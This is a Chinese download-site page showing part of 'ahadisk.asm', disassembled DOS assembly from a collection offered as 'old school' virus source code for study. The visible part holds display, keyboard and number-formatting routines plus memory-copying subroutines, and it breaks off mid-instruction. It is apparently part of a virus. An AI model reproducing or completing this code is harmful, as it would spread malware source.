⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ahadisk.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
		call	sub_14
		mov	si,data_100
		mov	di,3A0h
		cld				; Clear direction
		call	sub_35
		inc	di
		call	sub_35
		mov	data_100,si
		mov	dh,data_97
		mov	dl,14h
		mov	si,3A0h
		call	sub_14
		mov	si,data_100
		lodsw				; String [si] to ax
		mov	word ptr data_98,ax
		mov	data_100,si
		mov	word ptr ds:[1A9h],0
		mov	word ptr ds:[1ABh],ax
		call	sub_32
		mov	dh,byte ptr ds:[1AFh]
		mov	dl,2Dh			; '-'
		sub	dl,dh
		mov	dh,data_97
		mov	si,0EDh
		call	sub_14
		mov	bl,50h			; 'P'
		xor	bh,bh			; Zero register
		cmp	data_31,0
		jne	loc_189			; Jump if not equal
		shr	bx,1			; Shift w/zeros fill
loc_189:
		dec	bx
		mov	ax,2
		mul	bx			; dx:ax = reg * ax
		mov	bl,data_56
		xor	bh,bh			; Zero register
		mul	bx			; dx:ax = reg * ax
		mov	bl,data_53
		add	ax,bx
		mov	bx,word ptr data_98
		cmp	byte ptr ds:[2423h],1
		je	loc_190			; Jump if equal
		shl	bx,1			; Shift w/zeros fill
loc_190:
		sub	ax,bx
		mov	bx,200h
		mul	bx			; dx:ax = reg * ax
		mov	word ptr ds:[1A9h],dx
		mov	word ptr ds:[1ABh],ax
		call	sub_32
		mov	dh,byte ptr ds:[1AFh]
		mov	dl,44h			; 'D'
		sub	dl,dh
		mov	dh,data_97
		mov	si,0EDh
		call	sub_14
		mov	al,data_99
		cmp	data_95,al
		jne	loc_191			; Jump if not equal
		call	sub_13
		retn
loc_191:
		inc	data_95
		inc	data_97
		jmp	loc_188
sub_31		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_32		proc	near
		mov	di,0EDh
		call	sub_33
		mov	word ptr ds:[1ADh],bx
		mov	byte ptr ds:[1AFh],bl
		jz	loc_195			; Jump if zero
loc_192:
		cld				; Clear direction
		or	al,30h			; '0'
		stosb				; Store al to es:[di]
		mov	word ptr ds:[1A5h],0
		mov	word ptr ds:[1A7h],0
		push	di
		mov	di,word ptr ds:[1B0h]
		add	di,word ptr ds:[1B2h]
		call	sub_34
		pop	di
		mov	ax,word ptr ds:[1A7h]
		sub	word ptr ds:[1ABh],ax
		jnc	loc_193			; Jump if carry=0
		dec	word ptr ds:[1A9h]
loc_193:
		mov	ax,word ptr ds:[1A5h]
		sub	word ptr ds:[1A9h],ax
		dec	word ptr ds:[1ADh]
		cmp	word ptr ds:[1ADh],0
		je	loc_195			; Jump if equal
		call	sub_33
loc_194:
		cmp	bx,word ptr ds:[1ADh]
		je	loc_192			; Jump if equal
		push	ax
		mov	al,30h			; '0'
		stosb				; Store al to es:[di]
		pop	ax
		dec	word ptr ds:[1ADh]
		cmp	word ptr ds:[1ADh],0
		jne	loc_194			; Jump if not equal
loc_195:
		mov	ax,word ptr ds:[1ABh]
		or	al,30h			; '0'
		cld				; Clear direction
		stosb				; Store al to es:[di]
		mov	al,0
		stosb				; Store al to es:[di]
		retn
sub_32		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_33		proc	near
		mov	dx,word ptr ds:[1A9h]
		mov	ax,word ptr ds:[1ABh]
		mov	word ptr ds:[1B0h],0
		mov	word ptr ds:[1B2h],0
		cmp	dx,0
		jne	loc_196			; Jump if not equal
		cmp	ax,2710h
		jb	loc_197			; Jump if below
loc_196:
		mov	bx,2710h
		mov	word ptr ds:[1B0h],8
		div	bx			; ax,dx rem=dx:ax/reg
loc_197:
		cmp	ax,0Ah
		jb	loc_200			; Jump if below
		mov	word ptr ds:[1B2h],6
		xor	dx,dx			; Zero register
		mov	bx,offset 1C8h
loc_198:
		cmp	ax,[bx]
		jge	loc_199			; Jump if > or =
		sub	word ptr ds:[1B2h],2
		sub	bx,2
		jmp	short loc_198
loc_199:
		mov	bx,[bx]
		div	bx			; ax,dx rem=dx:ax/reg
loc_200:
		mov	bx,word ptr ds:[1B0h]
		add	bx,word ptr ds:[1B2h]
		shr	bx,1			; Shift w/zeros fill
		retn
sub_33		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_34		proc	near
		and	al,0Fh
		cbw				; Convrt byte to word
		push	ax
		mov	bx,offset 1C2h
		mov	bx,[bx+di]
		mul	bx			; dx:ax = reg * ax
		add	word ptr ds:[1A7h],ax
		jnc	loc_201			; Jump if carry=0
		inc	dx
loc_201:
		add	word ptr ds:[1A5h],dx
		mov	bx,offset 1B4h
		pop	ax
		mov	bx,[bx+di]
		mul	bx			; dx:ax = reg * ax
		add	word ptr ds:[1A5h],ax
		retn
sub_34		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_35		proc	near
		lodsb				; String [si] to al
		call	sub_36
		stosw				; Store ax to es:[di]
		lodsb				; String [si] to al
		call	sub_36
		stosw				; Store ax to es:[di]
		retn
sub_35		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_36		proc	near
		mov	ah,al
		and	ah,0Fh
		mov	cl,4
		shr	al,cl			; Shift w/zeros fill
		and	al,0Fh
		cmp	al,0Ah
		jge	loc_202			; Jump if > or =
		add	al,30h			; '0'
		jmp	short loc_203
		db	90h
loc_202:
		add	al,37h			; '7'
loc_203:
		cmp	ah,0Ah
		jge	loc_204			; Jump if > or =
		add	ah,30h			; '0'
		jmp	short loc_ret_205
		db	90h
loc_204:
		add	ah,37h			; '7'

loc_ret_205:
		retn
sub_36		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_37		proc	near
		mov	al,data_29
		mov	bx,offset data_30
		cbw				; Convrt byte to word
		add	bx,ax
		mov	al,[bx]
		mov	data_31,ax
		retn
sub_37		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_38		proc	near
		mov	ah,1
		mov	cx,7
		int	10h			; Video display   ah=functn 01h
						;  set cursor mode in cx
		mov	ah,3
		mov	bh,data_104
		int	10h			; Video display   ah=functn 03h
						;  get cursor loc in dx, mode cx
		mov	data_108,dh
		mov	data_109,dl
		mov	di,137h
		mov	data_101,0
loc_206:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,0Dh
		jne	loc_207			; Jump if not equal
		retn
loc_207:
		cmp	al,1Bh
		jne	loc_208			; Jump if not equal
		pop	ax
		jmp	loc_41
loc_208:
		cmp	al,10h
		je	loc_209			; Jump if equal
		cmp	ax,5300h
		jne	loc_210			; Jump if not equal
loc_209:
		call	sub_41
		call	sub_41
		jmp	short loc_206
loc_210:
		cmp	ax,4B00h
		je	loc_211			; Jump if equal
		cmp	al,8
		jne	loc_212			; Jump if not equal
loc_211:
		call	sub_41
		jmp	short loc_206
loc_212:
		cmp	al,30h			; '0'
		jb	loc_213			; Jump if below
		cmp	al,39h			; '9'
		jg	loc_213			; Jump if >
		cmp	data_101,2
		je	loc_213			; Jump if equal
		cld				; Clear direction
		stosb				; Store al to es:[di]
		inc	data_101
		inc	data_109
		call	sub_10
		jmp	short loc_206
loc_213:
		call	sub_11
		jmp	short loc_206
sub_38		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_39		proc	near
		mov	si,offset data_33+6	; (' ')
loc_214:
		cmp	al,0
		je	loc_215			; Jump if equal
		add	si,7
		dec	al
		jmp	short loc_214
loc_215:
		mov	di,offset data_189
loc_216:
		lodsb				; String [si] to al
		cmp	al,0
		jne	loc_217			; Jump if not equal
		retn
loc_217:
		stosb				; Store al to es:[di]
sub_39		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_40		proc	near
		jmp	short loc_216
sub_40		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_41		proc	near
		cmp	data_101,0
		je	loc_ret_218		; Jump if equal
		dec	di
		dec	data_101
		dec	data_109
		call	sub_42
		mov	al,20h			; ' '
		call	sub_10
		call	sub_42

loc_ret_218:
		retn
sub_41		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_42		proc	near
		mov	ah,2
		mov	bh,data_104
		mov	dh,data_108
		mov	dl,data_109
		int	10h			; Video display   ah=functn 02h
						;  set cursor location in dx
		retn
sub_42		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_43		proc	near
		push	ds
		mov	ds,data_91
		mov	si,data_4e
		mov	di,offset data_115
		mov	cx,7
		cld				; Clear direction
		repe	cmpsw			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		cmp	cx,0
		je	loc_219			; Jump if equal
		mov	di,offset data_113
		mov	si,data_4e
		mov	cx,6
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
loc_219:
		pop	ds
		call	sub_44
		mov	di,offset data_115
		mov	si,data_92
		mov	cx,6
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		retn
sub_43		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_44		proc	near
		push	es
		mov	si,data_92
		mov	es,data_91
		mov	di,data_4e
		mov	cx,6
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		pop	es
		retn
sub_44		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_45		proc	near
		call	sub_28
		jnc	loc_220			; Jump if carry=0
		retn
loc_220:
		call	sub_43
		retn
sub_45		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_46		proc	near
		call	sub_28
		jnc	loc_221			; Jump if carry=0
		clc				; Clear carry flag
		retn
loc_221:
		cmp	data_187,6666h
		je	loc_222			; Jump if equal
		mov	data_92,3CEh
		mov	ah,data_65
		call	sub_47
		mov	byte ptr data_184+26h,al	; ('')
		mov	byte ptr data_184+28h,ah	; ('')
		call	sub_43
		retn
loc_222:
		cmp	data_92,3AAh
		jne	loc_ret_223		; Jump if not equal
		mov	data_92,0D5h
		call	sub_44

loc_ret_223:
		retn
sub_46		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_47		proc	near
		cmp	ah,0Ah
		jl	loc_226			; Jump if <
		mov	al,31h			; '1'
loc_224:
		sub	ah,0Ah
		cmp	ah,0Ah
		jl	loc_225			; Jump if <
		add	al,1
		jmp	short loc_224
loc_225:
		or	ah,30h			; '0'
		retn
loc_226:
		or	ah,30h			; '0'
		mov	al,20h			; ' '
		retn
sub_47		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_48		proc	near
		cld				; Clear direction
		mov	di,offset 14Dh
loc_227:
		mov	al,data_65
		stosb				; Store al to es:[di]
		mov	al,data_64
		stosb				; Store al to es:[di]
		mov	al,data_66
		stosb				; Store al to es:[di]
		mov	al,2
		stosb				; Store al to es:[di]
		inc	data_66
		mov	al,data_66
		cmp	al,data_56
		jle	loc_227			; Jump if < or =
		mov	data_66,1
		retn
sub_48		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_49		proc	near
		pop	ax
		mov	word ptr ds:[221h],ax
		mov	data_82,21E2h
		mov	al,byte ptr ds:[21Ah]
		mov	data_66,al
		mov	data_68,28E9h
		mov	data_67,1FFh
		mov	data_69,4Ah		; 'J'
		mov	data_70,0C5h
		mov	data_85,27F1h
		call	sub_75
		mov	data_82,220Dh
		mov	ax,word ptr ds:[242Ch]
		mov	cl,byte ptr ds:[21Ah]
		add	cl,al
		cmp	cl,data_56
		jle	loc_228			; Jump if < or =
		inc	data_64
		sub	cl,data_56
loc_228:
		mov	data_66,cl
		call	sub_75
		inc	byte ptr ds:[21Ah]
		jmp	word ptr ds:[221h]

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

sub_50:
		mov	si,offset data_220
		mov	cx,word ptr ds:[21Dh]
		inc	cx
		sub	cx,si
		jbe	loc_229			; Jump if below or =
		mov

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -